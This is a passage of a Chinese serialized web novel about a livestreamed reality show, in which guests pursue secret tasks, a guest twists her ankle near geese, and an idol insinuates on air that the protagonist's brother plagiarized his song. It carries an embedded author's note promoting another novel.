【哈哈哈江砚舟你别太天真了!你快回头再看看季宁深的表情!这是惊吓该有的反应吗?】 【只能说还好江砚舟不知道任务完成的经过,不然非得炸毛不可。】 【小舟同学你可长点心吧,xswl。】 江知雾拉开了甜品车冰柜的玻璃,这辆甜品车是她花了高价向真正的摊主租来的,摊主把车交给她时,很高兴地表示让她随便吃。 她拿着冰淇淋勺,先给眼巴巴望着的季念念挖了满满一大球,粉色的草莓冰淇淋堆得高高的,季念念立刻眉开眼笑:“谢谢江姐姐!” 接着,江知雾又顺手给季宁深也挖了一个。 季宁深明显愣了一下,似乎没料到她给自己也挖了冰淇淋。 递过去时,两人指尖不经意相触,季宁深的指尖轻轻蜷了蜷,随后轻声说:“谢谢。” 当然,江知雾也没忽视自己的弟弟。 她笑眯眯地挖了一勺给旁边的少年:“江小朋友,你点的冰淇淋。” “谁是小朋友……” 江砚舟小声嘟嚷。 他本来觉得吃冰淇淋不太符合自己的酷哥形象,但看着季宁深都毫无障碍地吃了,犹豫几秒后,还是别别扭扭地接过来。 他们这边气氛一派融洽,而另一边,宿姚已经尬到头皮发麻。 宿姚和暨明旭这组的任务对象是黄芷禾姐弟,两人商议后,决定采用分头击破的方式。 而江汀就是宿姚需要击破的目标。 宿姚本身性格偏静,而江汀更是少言寡语。 他们俩碰面后,宿姚硬是找不到可以切入的聊天内容。他跟在江汀身旁,已经在童话小镇里走了快十分钟,两人全程零交流,空气里的尴尬都快溢出来了。 弹幕越看越搞笑: 【哈哈哈哈哈哈我笑疯了!这两个人是在比拼谁先说话谁就 输吗?】 【两个i人对上原来是这样的吗,直接尬住了。】 【实在不行宿姚你就唱首歌吧,你们不尴尬我都看得要脚趾扣地了。】 与此同时,暨明旭拿着手机扫了眼弹幕,看到宿姚和江汀的窘境,忍不住庆幸自己当初主动选择了黄芷禾。 毕竟是女生,随便吓一吓,夸张的表情不就出来了? 他很快在童话小镇的糖果屋附近找到了落单的黄芷禾。 黄芷禾正百无聊赖地踢着路边的小石子,江汀虽然还是跟她上了综艺,但最近的拍摄都不怎么配合,黄芷禾感觉有些苦闷。 “嗨,芷禾姐!”暨明旭扬起一个阳光开朗的笑容,主动迎了上去,“一个人逛吗?弟弟呢?” 黄芷禾见终于有嘉宾跟自己互动,松了口气:“是明旭啊。小汀他比较宅,不想顶着太阳出来逛。” 暨明旭心中暗喜,面上却一副“我懂”的表情,顺势提议:“那正好,我刚发现一个特别有意思的地方,养了好多雪白的大鹅,特别漂亮,还挺温顺的,要不要一起去看看?散散心。” 黄芷禾不疑有他,欣然答应:“好啊。” 暨明旭一边引路,一边刻意找些轻松的话题闲聊,黄芷禾也渐渐放松下来,暂时抛开了之前的些许尴尬。 两人气氛融洽地走到了小镇边缘的人工湖旁,那里果然有一群羽毛洁白的观赏鹅正在悠闲踱步。 “看,就在那儿!”暨明旭指着鹅群,暗自计算着距离和时机。 黄芷禾笑着望过去,起初还觉得景色不错,但随着越走越近,看到那些鹅体型颇为肥硕,脖子伸长时甚至有点高大时,她脚步开始迟疑,笑容也有些僵硬了:“它、它们看起来好像……有点凶?” “怎么会呢?都是观赏鹅,不咬人的。”暨明旭嘴上说着,脚步却故意放慢,落在了黄芷禾身后半步。 就在这时,一只格外雄壮的大鹅似乎跟黄芷禾对上了视线,它昂着头,“嘎”地叫了一声,迈着步子就朝她走了过来。 黄芷禾脸色瞬间白了,下意识后退:“它、它过来了!明旭,你快帮我赶一下它!” “诶?好,好的!”暨明旭察觉到她确实怕鹅,嘴上应着,动作却慢吞吞的,象征性地挥了挥手,声音也没什么力度,“去,去去~” 他那敷衍的驱赶非但没起作用,反而像是激怒了那只领头鹅。 大鹅扑扇着翅膀,嘎嘎叫着,加速就朝黄芷禾冲去! “啊——!”黄芷禾吓得惊叫一声,转身就想跑。 可她穿着不太便于奔跑的高跟鞋,心里又慌又急,脚下猛地一绊,“哎哟”一声摔倒在地,脚踝处传来一阵尖锐的刺痛。 “我的脚……”她疼得眼泪瞬间就涌了出来,抱着脚踝动弹不得。 暨明旭这才发觉自己玩脱了,真的慌了神。 他赶紧冲上前,手忙脚乱地想扶她:“芷禾姐!你没事吧?” 节目组监控画面后的工作人员也吓了一跳,导演立刻通过对讲机指挥附近的医疗小组和工作人员赶过去,帮黄芷禾进行紧急处理。 气炸了的芷粉和旭粉骂成一团: 【卧槽!暨明旭你是不是故意的?!明知道女孩子怕鹅还慢悠悠的!】 【芷禾看起来摔得好疼啊,脚都扭了!暨明旭节目效果也不是这么做的吧!】 【旭粉之前还吹嘘自家正主是阳光大男孩呢?就这?为了完成任务不顾别人安危?】 【前面的别乱喷好吗?明明就是意外!明旭也没想到会这样,他也很自责啊。】 【不er,这本来就是观赏鹅,谁知道黄芷禾反应那么大?她自己不小心摔的也能怪我们明旭?】 弹幕里的骂战愈演愈烈,暨明旭粉丝的战斗力很快显现出来。 他的粉丝群体向来以护主和攻击性强闻名,此前在别的综艺里,就因CP粉嗑了暨明旭和其他嘉宾的互动、团粉夸了别的哥哥,或是对家粉丝提了句“业务能力待提升”,都能追着骂上几百条评论。 黄芷禾的粉丝跟他们撕扯得激烈,很快有部分人开始转移矛头——先是冲节目组发泄不满,说节目组安全措施不到位,明知道有嘉宾怕动物还不提前排查;再是吐槽童话小镇养大鹅是安全隐患;最后还责怪其他嘉宾孤立黄芷禾,导致她只能被喊过来看大鹅。 胡搅蛮缠的姿态,引起了其他嘉宾粉丝的愤怒: 【啥都能怪到别人头上,也是没谁了。】 【这也能甩锅,我怀疑黄芷禾粉丝是不是有被害妄想症啊?】 现场,黄芷禾在医护人员帮助下冰敷了脚踝,疼痛稍微缓解。她看着眼前乱糟糟的局面和一脸不知所措的暨明旭,还有周围紧张的工作人员,勉强笑了笑,出声打破僵局:“好了好了,我没事,就是不小心扭了一下。” 她尝试动了一下,立刻疼得蹙眉:“就是……导演,接下来的任务我可能没办法继续了。” 导演连忙点头:“当然当然,身体最重要!你赶紧回住处休息,我们让医护人员陪你回去。” 黄芷禾被工作人员搀扶着,慢慢回到了童话小屋里。脚踝肿得老高,她躺在床上,心里却有点空落落的。 大家还在外面做任务,自己一个人待着实在没有看点。 休息了约莫一个多小时,感觉脚踝没那么疼了,她撑着站起来,单脚跳着挪到厨房,开始准备晚餐的食材。 直播镜头偶尔扫过厨房,拍到了她忙碌又略显笨拙的身影。 这一幕让她的粉丝瞬间难过到不行: 【我的天!芷禾你怎么这么傻呀,脚都肿成那样了还去做饭?!】 【看着她单脚站着炒菜的样子,我眼泪都要下来了。】 【节目组是死人吗?就看着她一个伤员做饭?不会派人帮忙吗?】 【其他嘉宾呢?玩得开心根本想不起她吧。】 【凭什么活都是我们禾禾干,亏还要我们禾禾挨?垃圾节目组,垃圾嘉宾!】 原本平息下去的骂战又有了抬头的趋势。 傍晚时分,外出做任务的几组人陆续回来。 刚推开童话小屋的门,一股淡淡的油烟味就飘了过来。 几人愣了一下,就看见厨房门口露出一角米白色的裙摆,黄芷禾正单脚撑在地上,另一只肿得老高的脚踝悬空着,手里还握着菜刀,正费力地切着案板上的青菜。 “芷禾姐?你脚怎么了?”李柏问。 黄芷禾轻描淡写地说:“没什么大碍,就是不小心扭到了。” 李柏皱紧了眉,语气带着明显的不赞同:“你这脚都肿成这样了,还做什么饭?赶紧把锅铲放下,快点去休息吧。” “没事的,我小心点就好。”黄芷禾笑了笑,“大家都累了一天,回来总要吃饭的,总不能没人做饭吧?” 她这话说得轻声细语,却带着一种“舍我其谁”的付出感,让李柏愣了一下。 季宁深看了一眼厨房的状况,语气没什么波澜,直接提出了解决方案:“受伤了就该休息。吃饭的问题不难解决,可以去外面的餐厅吃。” 正在弹幕上疯狂煽情的芷粉们:“……” 旁边的江砚舟动作也快,他已经干脆利落地掏出了手机,手指在屏幕上飞快划动,嗓音清亮地说:“就是,何必这么麻烦?我知道附近有家评价不错的特色菜,环境也好,走路过去也就十分钟。要是不想过去,订个外卖半小时也到了。” 他的语气里充满了对黄芷禾卖惨行为的匪夷所思,就差没说这人在没苦硬吃了。 直播间的水友们不由笑开: 【哈哈哈哈江砚舟你是我的嘴替!优雅订餐,解决一切矫情。】 【没毛病啊,干嘛非要做饭,又不是森林原始人,不至于连外卖都不会点吧。】 【季宁深什么时候也这么耿直了,不会被小江同学带坏了吧哈哈哈。】 江砚舟快刀斩乱麻,很快就敲定了菜品,还特意问了一圈:“大家还有什么要加的吗?没的话我就下单了,预计三十二分钟送到,正好大家可以歇会儿。” “我要加一份芒果布丁!”季念念举着小手,声音脆生生的。 “不用加,你今天已经吃太多甜点了。”季宁深拍了拍她的脑袋。 大家都在热烈讨论还需要点什么菜,没一个是站在黄芷禾那边的。 毕竟点个外卖就能解决的事情,有什么必要撑着伤腿做饭,反倒显得其他人很不通情理,合起伙来欺负她似的。 外卖订单已经发出,大家或坐或站地在客厅里休息,等待美食送达。 李柏和李乐乐兄妹俩却显得有些坐立不安。 两人时不时交换一个眼神,嘴唇翕动,似乎想说什么,又硬生生憋了回去。 他们俩围着江姐姐和江砚舟忙活了一天,直到现在任务都没能完成。 李乐乐害怕坑爹的节目组会有惩罚,但又实在想不出对策,只能蹭到两人旁边,没话找话。 她清了清嗓子,故意提高了一点音量:“那个……江姐姐,砚舟,我、我突然想起个笑话,你们要不要听听?” 江砚舟正低头刷着外卖平台,被这突然的搭话弄得有点莫名其妙,抬头瞥了她一眼,没太当回事:“哦,你说。” 江知雾也放下手里把玩的抱枕,侧过身看向她,做出了倾听的姿势。 得到回应的李乐乐反倒有点紧张,手指抠着沙发边角,磕磕绊绊地开口:“就、就是说……有一天,一根火柴走着走着,突然觉得头有点痒,然后它就挠了挠头——”她顿了顿,特意放慢语速卖关子,等两人都看过来,才赶紧补上结尾,“结果!它就把自己点着啦!” 说完,她紧张地盯着江知雾,期待地等着两人的反应,可客厅里静了两秒,只有挂钟滴答作响。 江砚舟眨了眨眼,表情没什么起伏:“这就是……笑话?” 江知雾却若有所思地顿了顿,目光在李乐乐脸上转了一圈,像是突然想通了什么,“你们俩今天一直在围着我和砚舟转……是不是节目组给你们布置了关于我们的秘密任务?” 李乐乐瞬间瞪大了眼睛,惊讶地张大嘴巴:“江姐姐你怎么知道?!” 李柏也懵了,下意识点头又摇头,完全不懂她是怎么猜到的。 江知雾笑意更深了,她抱着手臂,慢悠悠地进一步推理:“如果我没猜错,你们的任务是让我们露出与平常不同的夸张表情?” “我的天!”李乐乐彻底惊了,“江姐姐你是神仙吗?居然连任务内容都猜到了?” 江知雾笑而不语,眼底闪过一丝狡黠。 她当然不会告诉他们,自己只是结合节目组的套路随口一诈,没想到真中了。 李乐乐和李柏对视一眼,脸上都写满了沮丧。任务被当面戳穿,这下想套路江姐姐都难了。 江知雾却突然弯了弯眼说:“别灰心啊,要不你们再讲个笑话试试?” 这话让兄妹俩一齐抬起头,眼里满是意外。 李乐乐刚想点头,李柏却先一步捂住了她的嘴:“等等,你讲的笑话太幼稚,一点都不好笑,还是我来。” 被抢了话的李乐乐立刻瞪了他一眼,小声吐槽:“你能讲得多好啊。” 李柏没理她,清了清嗓子,一本正经地看向江知雾和江砚舟:“听好了啊,有一天,企鹅去北极熊家里做客,走了整整十年才到门口,结果它突然想起自己忘带钥匙了,又走了十年回去拿。等拿到钥匙再走到北极熊家门口,它敲了敲门,你猜北极熊说了什么?” 江知雾托着下巴,配合地猜了句:“请进?” 李柏摇摇头,故意停顿了两秒,才揭晓答案:“北极熊说,‘我突然不想请客了,你回去吧’!” 话音落下,客厅里又是一阵安静,比刚才李乐乐的火柴笑话还要更甚。 直播间里的观众足足失声了两秒,才噼里啪啦吐槽: 【???李柏这笑话要冷死我。】 【哈哈哈李柏一本正经讲冷笑话的样子,比笑话本身还好笑!他自己不觉得尴尬吗?】 【+1!我听得脚趾都要扣地了。】 李乐乐率先忍不住,翻了个大大的白眼:“我就说吧!这什么破笑话,比我讲的差远了!” 李柏脸有点红,刚想反驳“这叫冷幽默”,就听见旁边传来一阵轻笑声。 是江知雾。 她起初只是唇角轻轻上扬,后来笑意越来越浓,肩膀微微晃动,连眼底都染了层明亮的笑意。 以往的江知雾总是带着点疏离的清冷,哪怕笑也多是浅尝辄止的温和,像此刻这样毫无顾忌、连眼尾都弯起来的笑,还是第一次。暖黄的客厅灯光落在她脸上,柔和了轮廓,连带着周围的空气都仿佛变得变得轻快起来。 李乐乐和李柏都看愣了,连不远处的季宁深都微微屏住了呼吸。 江知雾慢慢止住笑,眼角还残留着些许笑意带来的微红。 她看向仍然处于呆滞状态的兄妹俩,声音温和:“任务要求是‘与平常不同的夸张表情’,我刚才那样……应该算你们成功了吧?” 李乐乐猛地回神,立刻扭头,眼巴巴地望向镜头后的导演方向。 所有直播间的观众也都跟着她的视线一起等待。 几秒后,挂在墙角的扩音器里传来导演的声音:“勉强算你们任务完成。” “耶!!!”李乐乐瞬间跳了起来,和李柏激动地击掌欢呼,“成功了成功了!哥我们成功了!” 自知自己讲了个冷笑话的李柏也松了口气,挠了挠头,有点不好意思地看向江知雾:“谢谢江姐姐……” 弹幕也一片欢腾和感动: 【!!!江姐姐刚才那个笑我没了!谁懂啊!清冷美人笑起来也太杀我了!】 【江姐姐是故意的吧!她好像是为了帮他们完成任务。】 【是啊,谁都知道李柏那个笑话有多冷hhhh。】 【呜呜呜呜她完全可以不理的,却选择了用这种方式帮忙。】 江砚舟抱着手臂,冷眼看着李乐乐和李柏围着江知雾欢呼雀跃,嘴角不自觉地向下撇了撇,发出一声清晰的冷哼。 江知雾干嘛对兄妹俩这么好。 江知雾侧过头,看向自家弟弟那张杀气腾腾的脸,眼底掠过一丝了然的笑意。 她忽然轻轻“哎呀”一声,像是想起了什么重要的事:“砚舟,你刚才点的外卖……好像漏了样东西。” 江砚舟正憋着点莫名的不爽,闻言没好气地抬眼看她,嗓音硬邦邦的:“漏了什么?你不是都看过了菜单才让我下单的?” “是呀,”江知雾点点头,表情显得格外真诚,甚至带着点无辜的苦恼,“可我现在突然特别想吃……嗯,一种大概一米八左右的大包子。” “哪有那么大的包子?”江砚舟吐槽,“蒸得熟吗?” “怎么没有?”江知雾笑吟吟地歪了歪头,“我面前不就有一个吗?还是刚出炉、冒着酸气儿的大醋包。” 江砚舟:“……”—— 作者有话说:===【专栏《反派的早亡亲姐回来了》,求收藏吖~】=== 姜翎死后才知道,自己不过是一本小说里的早亡工具人。 因她的离世,弟弟姜时礼变得乖戾跋扈,在疯狂追求小白花女主无果后,驱车撞下悬崖丧生。 姜翎直接被气活过来,睁眼就看到姜时礼插兜站在跟前,表情拽得要死。 时隔六年,对方的第一句话是: “谁派你来的?劣质的冒牌货!” 姜翎:“……” 那天,有人看到云城中学凶名在外的校霸姜时礼,被一个小姑娘追着打:“混账!再跟你姐这么说话试试?” * 面对这位登堂入室、自称是他亲姐的女人,姜时礼厌烦,不屑,拼命反抗。 他绝食抗议,姜翎不为所动,并当着他 面点了一桌炸鸡烧烤小龙虾,吃得津津有味。 他逃课混进网吧,姜翎坐在他旁边的机位,打得比他还激动。 他把头发染得五颜六色,姜翎淡定举起手机拍摄,把丑陋大头照挂在客厅正中央。 姜时礼屡战屡败,从愤怒到崩溃,不得不接受一个现实—— 这女人,好像真是他亲姐? 念头一起,姜时礼瞬间红了眼眶。 他自认是个克死父母亲姐的灾星,早就该一个人烂在阴沟里。 却没想到,这道以为永远熄灭的光,竟会重新照进他的生命。 * 顾旭白和姜翎曾是同班同学。 上学时期,姜翎就觊觎这位校草的美貌(bushi),花言巧语哄着人跟自己谈起了恋爱。 秋深风凉,庭院沉沉。 姜翎无意间抬眸,看到了一个立在阶下阴影中的男人。 他眉宇间带着清贵的疏离,一身素黑,仿佛是来参加一场肃穆的祭奠。 那双深不见底的目光有如实质,分毫不移地落在姜翎脸上。 姜翎心头一跳。 这位……不就是她当年千方百计哄到手的男友吗?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-45 第41章 某个醋包被姐姐的调侃闹了个大红脸。 好在外卖很快送达,香气四溢的菜肴摆满了餐桌。大家围坐在一起,气氛总算恢复了轻松热闹。 饭后,众人收拾好餐桌,三三两两地坐在客厅沙发上休息闲聊。 暨明旭独自坐在单人沙发里,捧着平板,手指时不时划动屏幕,眉头微蹙,显得格外专注,与周遭略显松快的氛围有些格格不入。 “明旭,看什么呢这么认真?”李柏刚好坐在他旁边,随口问了一句。 暨明旭像是被从深思中唤醒,抬起头,露出一个略带疲惫却阳光的笑容:“没什么,就是一点工作上的事。趁着有点空闲时间,写写歌,找找灵感。” “写歌?”李柏来了兴趣,“你还会创作啊?” 他光知道暨明旭是男团出身,并不知道对方还是创作型爱豆的事情。 “嗯,一直有在尝试。”暨明旭语气谦虚,顺势将平板屏幕转向众人,“喏,就是一些随手记下的旋律和歌词片段,还很粗糙。” 屏幕上确实是几页手写稿的照片,能看出修改的痕迹,音符和文字交织,显得很专业。 直播镜头适时推近,给了平板一个特写。 【哇!明旭哥哥好努力!休息时间还在创作!】 【会唱跳的爱豆很多,但会写歌的凤毛麟角,爱了爱了。】 弹幕里他的粉丝开始踊跃捧场。 暨明旭的手指在屏幕上缓缓滑动,一页页展示着他的“心血”。然而,就在他准备翻页的瞬间,指尖似乎不小心多划了一下,一张明显时间更久远一点的手稿页面快速闪过。 他立刻像是意识到失误,急忙想划回去,动作却稍显迟缓,足以让眼尖的人捕捉到只言片语。 那首歌似乎叫《晚风遇蝉鸣》,歌词写得挺有意境: “巷口路灯亮第三盏时,你说蝉鸣会停,晚风会走,可我还想等。” “哎……”暨明旭适时地发出了一声意味深长的叹息,流露出浓浓的惋惜和一丝不甘。 这声叹息和他的表情变化太过明显,想让人不注意都难。 “怎么了?”李柏不解地问,其他嘉宾的目光也跟着被吸引过来。 暨明旭像是难以启齿,犹豫了一下,才苦笑着摇摇头,语气低沉:“没什么……只是看到这一页,突然有点感慨。这首歌……它曾经是我非常非常珍视的一个作品,投入了很多感情和精力,可惜它现在不属于我了。” 他最后的话轻得像是被风带过,连离他最近的李柏都没能听清在说什么,倒是拍摄平板界面的直播设备收声良好,捕捉进了只言片语。 有人在弹幕上问他说的是什么意思,暨明旭的老粉解释道: 【哥哥以前没成名的时候,为了追逐梦想独自北漂,只能靠着给人当枪手来糊口。】 【唉,这么有才华的人,辛辛苦苦创作的作品署名却没有自己,有点可惜。】 【想知道他到底是给谁当过枪手。】 江知雾端起水杯抿了一口,眼神平静地扫过暨明旭和他手中的平板,没有作声。 导演在后台看到弹幕上的反响热烈,于是说道:“明旭啊,你看大家对这首歌这么感兴趣,既然都是自己曾经用心做的作品,要不就给我们唱一段?” 暨明旭脸上带着恰到好处的为难:“不了不了,现在唱出来不太合适吧……” 导演为了维持热度,哪会给他退缩的机会,又劝了几句。 暨明旭“盛情难却”地叹了口气,像是终于被说服:“那我就献丑了……” 他清了清嗓子,似乎是在找节奏和感觉。客厅安静下来,都在等着他唱歌。 暨明旭微微垂下眼睫,声音放得轻柔,带着一点沙哑的磁性: “巷口路灯亮第三盏时,你说蝉鸣会停……” 旋律缓缓流淌出来,调子算不上惊艳,但胜在抒情,配上暨明旭投入的表情,倒也有几分感染力。 不太懂音乐的李柏跟着轻轻打节拍,连弹幕里都多了不少夸赞的评论: 【呜呜呜好温柔的调子,哥哥唱得好有感情!】 【这旋律好抓耳,没有署名权太可惜了。】 然而,坐在角落的江砚舟却蹙起眉,抬头多看了暨明旭几眼。 江知雾注意到弟弟的反应,不由升起几分警惕。 她对音乐不算精通,但也略微有几分基础。暨明旭此刻唱的旋律里,有几段核心的走向,竟和江砚舟的成名曲有着莫名的相似,像是刻意简化了编曲,又调整了几个音符,却没能完全掩盖住原本的影子。 想到原书中被指控为找枪手的风波,江知雾心里打了个突。 而上过钢琴课,有几分绝对音感的季念念皱起小脸蛋,直言不讳:“这歌跟臭脸哥哥写的一首好像啊!念念记得好像叫什么……午、午……” “午后回声。”江知雾帮她补充完整。 “对!就是午后回声。”季念念说,“妈妈可喜欢听这首歌啦!念念觉得,还是臭脸哥哥写得更好听。” 季念念脆生生的话一落,两位当事人都有了反应。 “谁是臭脸哥哥?”江砚舟臭着脸问。 暨明旭笑了笑,把话题给扯回来:“小朋友的耳朵真灵,有时候旋律走向相近也难免,毕竟好的情感表达,总容易在相似的频段找到共鸣。不过我手稿的诞生时间在很久之前哦。” 这段插曲引起了弹幕的讨论: 【明旭脾气真好,还跟小朋友耐心解释。】 【确实,流行音乐就那几个和弦,听着像不奇怪吧?】 【但是……真的好耳熟啊,特别是副歌前那句转音。】 弹幕立刻有人抓住了重点。 直播镜头刚才确实给过平板特写,虽然暨明旭翻得快,但手快的观众很快从直播回放里截了图。 有人将截图放大处理,模糊地辨认着平板拍摄时自动生成的日期水印——那日期,赫然比江砚舟《午后回声》的正式发行日期早了将近半年。 【明旭刚才是不是说这首歌现在不属于他了?难道……?】 【结合暨明旭早年给人做过枪手的经历想想,细思极恐啊家人们。】 【几句捕风捉影的话,弹幕又搁这里福尔摩斯上了,要不要这么闲。】 【才华骗不了人好吗,砚舟出道之后爆曲不断,你们哥哥有什么?】 八卦总是能带来更多的话题度,弹幕上充斥着各种质疑和猜测,直播现场的气氛也变得微妙起来。 江砚舟本人对此完全不在意,轻描淡写地冷嗤了一声,似乎压根没打算纠缠这种弱智的话题。 倒是江知雾严肃地询问:“暨先生,这首《晚风遇蝉鸣》,听起来很有想法。能聊聊它具体的诞生过程吗?” 暨明旭似乎早有准备,叹了口气,露出一丝怀念又苦涩的表情:“那时候还在北漂,住在地下室,条件很艰苦。这 首歌其实是某个夏天晚上,坐在巷子口的路灯下写的。那时候很迷茫,听着树上的蝉鸣,用一把旧的木吉他,突然就有感而发。”他描述得相当细致,画面感很强,很容易让人共情。 【这经历听起来好真实,不像编的。】 【时间线对得上啊,那时候江砚舟还没发《午后回声》呢。】 江知雾静静地听着,等他说完,才微微颔首,眼神却锐利了起来:“很动人的创作背景。但是,”她话锋一转,“你刚才演唱的旋律温暖而明亮,跟你的歌词听上去有点割裂。” 暨明旭的脸色瞬间变了几变,他显然没料到江知雾会从如此专业的角度分析这种不协调感。 他强自镇定地笑了笑,语气带上了一丝强硬:“江小姐不是专业音乐人,可能对音乐不太了解。有时候情绪是复杂的,歌词仅仅只能表达一部分。” “我确实不是专业音乐人,但基本的乐理还是懂一些。”江知雾并未被他的质疑带偏,而是继续发问,“比如这段转音的节奏型,和你前面描述的‘旧木吉他弹唱’的创作背景完全不符——木吉他的音色本就偏温暖柔和,强行嵌入这种需要电子合成器铺垫的华丽转音,就像在acoustic编曲里硬塞电子鼓点,违和感太明显了。” 季宁深帮她翻译了一下:“像大学生赶毕业论文,东拼西凑抄了好几篇文献,导师一眼就能看出破绽。” 弹幕恍然大悟: 【哈哈哈哈这么一说我就懂了,季宁深你是会比喻的。】 【正在肝论文的大四生看直播看着看着,就被内涵了。】 【不过暨明旭的手稿毕竟是初版嘛,怎么可能做到完美,后面肯定还是会再精进修改的。】 【楼上别搞笑,这拼接的水平跟江砚舟的歌也不是一个level的吧。】 暨明旭的脸色彻底沉了下来,他张了张嘴想辩解,却发现江知雾指出的细节精准到很难反驳。 一直没怎么说话的黄芷禾突然开口了。 她原本因为暨明旭之前害自己崴脚的事还耿耿于怀,可看着暨明旭被追问得下不来台,又下意识就想站出来跟江知雾唱反调: “江姐姐,创作本来就是很主观的事情,灵感来了就是来了,感觉对了就写了,你又何必这么咄咄逼人呢?” 江知雾闻言,目光平静地转向黄芷禾,唇角微勾:“这并非咄咄逼人,而是正常的探讨。一部用心创作的作品,应当经得起细节的推敲和询问。还是说……” 她话锋微顿,目光扫过脸色不佳的暨明旭,再回到黄芷禾身上,“你觉得这部作品本身不够优秀,或者有什么隐情,才害怕被讨论?” 黄芷禾被噎了一下,她只是想给江知雾添堵,根本没想那么深。 【哈哈哈黄芷禾这波纯属无脑护,踢到铁板了吧!】 【江姐姐逻辑好清晰,黄芷禾根本接不住话。】 【但芷禾说得也没错啊,江知雾以为自己是谁啊?在这里指点江山,她懂什么音乐。】 【江知雾是不是故意针对明旭啊?不就是一段旋律吗,用得着揪着不放?】 【不然呢?任由别人拿着个手稿开始带节奏,碰瓷江砚舟吗?】 弹幕里的争吵愈演愈烈,甚至有人开始翻出暨明旭早年说自己当过枪手的采访片段,试图找证据支撑“他才是原创”;另一边,江砚舟的粉丝则贴出《午后回声》的编曲记录,力证作品的原创性。 还有不少路人观众被这场创作争议吸引,纷纷加入讨论,有人质疑暨明旭“碰瓷博热度”,也有人觉得“没实锤之前不能乱下定论”。 导演在后台看着不断攀升的在线人数和弹幕热度,既有点兴奋于话题度暴涨,又担心场面彻底失控——毕竟这已经不是简单的“嘉宾互动”,而是牵扯到“作品归属”的敏感争议。 他对着对讲机犹豫了半天,最终还是决定先把这个话题搁置:“好了好了,我看大家也聊累了,时间不早了,今天直播就到这里吧?大家回房间休息休息,养精蓄锐,明天还有任务呢。” 导演的声音透过客厅的音响传来,打断了略显僵持的气氛。 感觉到气氛尴尬的嘉宾们也都顺势起身,互相道了晚安,各自散去。 季宁深往暨明旭的方向打量了几眼,看不出在想什么,最终牵着季念念回了房间。 江知雾推开自己的房门,刚迈步进去,身后的人就跟着走了进来,还顺手带上了门。 房间里没开灯,只有窗外透进来的月光,将两人的影子拉得很长。 “姐,你今天怎么了?”江砚舟先开了口,声音里带着疑惑,“平时你不怎么管这些事,刚才在客厅里,感觉你情绪很激动。” 他很少见江知雾那样较真的样子,明明平时对很多事都抱着淡漠的态度,可今天面对暨明旭,却一句接一句地追问,显得有些尖锐。 “不是我情绪激动,是暨明旭话里有话。”江知雾认真地说,“他手稿上那首歌明显跟你旋律相似,又特意提了下创作时间很早,这不就是在暗示,你那首歌是拿了他的作品改的吗?” 江砚舟靠在门框上,语气带着点漫不经心的冷意:“他愿意怎么说就怎么说,清者自清,没必要跟这种人掰扯。” 在他看来,暨明旭这种靠暗示博眼球的手段太低级,与其浪费时间去澄清,不如专注在自己的音乐上。 “不是没必要。”江知雾立刻认真地纠正他,眼神格外坚定,“现在已经不是‘清者自清’的情况了。他在直播里把话说到这份上,弹幕里已经有人开始猜你‘找枪手’,再放任下去,等舆论发酵起来,只会越来越难解释。” 她想起原书里的剧情,江砚舟就是因为不屑于跟这种无稽之谈纠缠,才让“枪手风波”愈演愈烈,最后不仅影响了专辑销量,还被贴上了“德不配位”的标签,差点断送了音乐生涯。 如果她不知道江砚舟后来的遭遇,恐怕也不会察觉出暨明旭这时候就已经开始铺垫,预备往她弟弟身上泼脏水了。 “我们现在已经卷进来了,”江知雾往前走了两步,看着江砚舟的眼睛,一字一句地说,“这种时候不站出来澄清,就等于放弃了主动权,任由对方涂抹事实。等到谣言发酵,标签贴上,再想撕下来,付出的代价要大得多。” 江砚舟沉默地听着,脸上的散漫渐渐收敛起来。 他其实明白这些圈内的弯弯绕绕,只是性格使然,懒得理会。 此刻听到姐姐清晰冷静的分析,他才意识到,姐姐并非一时意气,而是看得比他更透彻。 江知雾伸手拍了拍他的胳膊,语气渐渐软下来,叮嘱道:“好了,道理你明白就好。现在别想这些糟心事了,回去好好睡一觉。谁知道明天节目组又要出什么新花样,养足精神才有力气应付。” 江砚舟点了点头,声音低沉却顺从:“知道了姐,你也早点休息。” “嗯。”江知雾应了一声,看着江砚舟转身拉开房门。 走廊里的灯光透过门缝照进来,在他身上投下一道浅淡的光影,直到房门被轻轻带上,房间又重新陷入了只有月光的安静里。 江知雾站在原地没动,脑海里却还在回放着原书的剧情。 她清楚记得,原书里江砚舟后来被“枪手风波”缠上时,最被动的一点就是拿不出早期创作的时间证据——毕竟当时创作《午后回声》的时间太早,写歌全靠随手记在草稿本上,既没备份,也没留下任何能证明时间线的记录。 黑粉就是抓着这一点大做文章,哪怕江砚舟后来放出了《午后回声》的编曲过程,也被质疑是“照着别人的作品倒推”。 这一次,她必须等待一个最合适的时机,不仅要澄清,更要一击即中,让对方再无翻身炒作的可能。 思绪流转间,她下意识瞥了眼墙上的电子钟。 日期无声跳转。 零点过了。 ……今天是江砚舟的生日。 这个 认知让江知雾微微一怔。她自己是个彻头彻尾的现实主义者,对生日向来无感,觉得这日子不过是日历上又一个平凡的数字。 以前父母还在的时候,双亲会给姐弟俩买上一个大蛋糕,再准备点生日惊喜。可自从父母意外去世后,她和江砚舟就再也没过过生日。 那时候她忙着读书、和旁支的人夺权,江砚舟也懂事,从不会提这种“没用”的要求,久而久之,生日就成了两人心照不宣、刻意忽略的日子。 可她却忽然清晰地记起,几个月之前,在节目组一次无关紧要的综艺采访里,问及江砚舟还有什么愿望。 当时江砚舟脱口而出,想让姐姐陪他过生日。 江知雾此刻想起,心尖却像是被细微的针扎了一下,泛起绵密而陌生的酸软。 原来他是在意的。 这个被她忽略的、看似微不足道的仪式,或许在江砚舟心里,代表着一种他从未宣之于口的渴望——对寻常家庭温情的渴望,对她这个姐姐更多关注的渴望。 她忽然觉得,或许应该做点什么。 可问题来了,送什么礼物呢? 江知雾毫无头绪。 贵重的物品唾手可得,却显得冰冷而敷衍。她也深知江砚舟想要的绝非那些东西。 江知雾揉了揉眉心,决定出去透口气。 童话小屋的露台空无一人,夜风带着初夏的微凉,拂过皮肤,吹散了少许沉闷。 她刚踏上露台,却意外看见边缘阴影处立着一个修长身影。 是季宁深。 他似乎也没料到这么晚会有人来,闻声回头。月光勾勒出他清俊的侧脸轮廓,神情是一贯的温和疏离,指尖夹着一支并未点燃的烟,更像是一个无意识的习惯动作。 “知雾姐姐。”他微微颔首,算是打招呼,声音被夜风滤得有些低沉。 “宁深。”江知雾走近,与他隔着一臂的距离,并肩望向远处沉沉的夜色。童话小镇的霓虹光晕在天际模糊成片,看不真切。 两人之间弥漫着一种默契的沉默,并不尴尬,反而像是一种共享静谧的安宁。 